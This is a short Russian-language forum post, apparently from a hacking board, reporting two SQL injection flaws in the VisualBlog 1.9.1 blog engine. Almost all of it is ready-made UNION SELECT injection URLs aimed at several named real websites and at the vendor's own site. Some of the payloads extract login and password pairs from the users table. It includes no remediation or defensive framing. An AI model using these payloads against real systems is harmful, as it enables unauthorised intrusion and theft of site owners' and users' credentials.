Уязвимости VisualBlog 1.9.1
Официальный сайт: http://www.visualblog.ru
Загрузка в данный момент недоступна: http://www.visualblog.ru/pages.php?id=1
Цитата:
Дорогие посетители, в связи с подготовкой новой версии движка VisualBlog, закачка текущей (фактически устаревшей) версии закрыта. В ближайшее время будет доступна новая версия. Сейчас она готовиться к выпуску.
|
Нашел две скули, вот примеры:
Цитата:
http://www.freewebhosty.com/article.php?id=-1'+union+select+1,2,3,4,5,6,7,8,group_concat(conca t_ws(0x3a,login,pass))+from+users--+
|
Цитата:
http://www.freewebhosty.com/pages.php?id=-1+union+select+1,2,3,4--+
|
Цитата:
http://www.zhebrivskiy.org/article.php?id=-1'+union+select+1,2,3,4,5,6,7,8,group_concat(conca t_ws(0x3a,login,pass))+from+users--+
|
Цитата:
http://www.zhebrivskiy.org/pages.php?id=-1+union+select+1,2,3,4--+
|
Цитата:
http://auto61rus.ru/article.php?id=-1'+union+select+1,2,3,4,5,6,7,8,group_concat(conca t_ws(0x3a,login,pass))+from+users--+
|
Цитата:
http://auto61rus.ru/pages.php?id=-1+union+select+1,2,3,4--+
|
Цитата:
http://www.earthproperty.info/article.php?id=-1'+union+select+1,2,3,4,5,6,7,8,group_concat(conca t_ws(0x3a,login,pass))+from+users--+
|
Цитата:
http://www.earthproperty.info/pages.php?id=-1+union+select+1,2,3,4--+
|
Ну, и конечно офф.сайт:
Цитата:
http://visualblog.ru/pages.php?id=-1+union+select+1,2,3,4--+
|
|
